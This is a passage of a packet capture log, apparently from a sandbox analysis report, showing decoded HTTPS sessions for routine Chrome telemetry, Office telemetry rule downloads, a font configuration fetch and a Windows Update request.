2024-10-31 02:04:15 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=225628 Date: Thu, 31 Oct 2024 02:04:15 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49728	142.250.184.206	443	7056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:16 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 02:04:16 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 33 34 30 32 35 33 38 35 35 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1730340253855",null,null,null,
2024-10-31 02:04:16 UTC	937	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=a9FifidOi4fsnYAfp4SS_7cq8Thrg_ViQsvUR0pjEoZi2BNbQDWKot8Wi_v6l8MlbC8oFwBChfXWyrHVEgShj1m7H-P6vtQPUVacOIoGqBmORJ-HyKIt4d2sdRXv1hi33MWz3kPUCl55o3m1Jd3a1TcCsG8pAibdre4tS1MMv0Nv0Xx7n6U; expires=Fri, 02-May-2025 02:04:16 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Thu, 31 Oct 2024 02:04:16 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Thu, 31 Oct 2024 02:04:16 GMT Connection: close Transfer-Encoding: chunked
2024-10-31 02:04:16 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-31 02:04:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:16 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:16 UTC	561	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:16 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 28 Oct 2024 13:23:36 GMT ETag: "0x8DCF753BAA1B278" x-ms-request-id: 174434da-801e-0015-686a-29f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020416Z-16849878b78smng4k6nq15r6s40000000aag00000000p7ke x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:16 UTC	15823	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-31 02:04:16 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <S T="1" F="0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L>
2024-10-31 02:04:16 UTC	16384	IN	Data Raw: 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d Data Ascii: <S T="3" /> </T> <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-
2024-10-31 02:04:17 UTC	16384	IN	Data Raw: 6e 74 73 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a Data Ascii: nts" /> </C> <C T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" />
2024-10-31 02:04:17 UTC	16384	IN	Data Raw: 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: </S> <C T="U32" I="0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32"
2024-10-31 02:04:17 UTC	16384	IN	Data Raw: 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 Data Ascii: _Count"> <C> <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S
2024-10-31 02:04:17 UTC	16384	IN	Data Raw: 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 Data Ascii: <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3"
2024-10-31 02:04:17 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 Data Ascii: </L> <R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false
2024-10-31 02:04:17 UTC	16384	IN	Data Raw: 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: T="B" /> </R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" />
2024-10-31 02:04:17 UTC	16384	IN	Data Raw: 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: O> </F> <F T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49731	2.19.104.72	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:16 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-31 02:04:16 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=225669 Date: Thu, 31 Oct 2024 02:04:16 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-31 02:04:16 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49725	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:17 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=44cEmSBup7NOfvX&MD=VKrrpHnd HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-31 02:04:17 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 86714eb6-c5b6-4d6d-814d-7722c85a1ae1 MS-RequestId: 811ab342-6518-42b3-a33b-9b260abc6678 MS-CV: hpgCd76aE0iAEtrm.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 31 Oct 2024 02:04:17 GMT Connection: close Content-Length: 24490
2024-10-31 02:04:17 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-31 02:04:17 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:18 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:18 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 8f1f3dd8-601e-0097-4789-28f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020418Z-15b8d89586flspj6y6m5fk442w0000000esg00000000e69x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:18 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49743	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:18 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
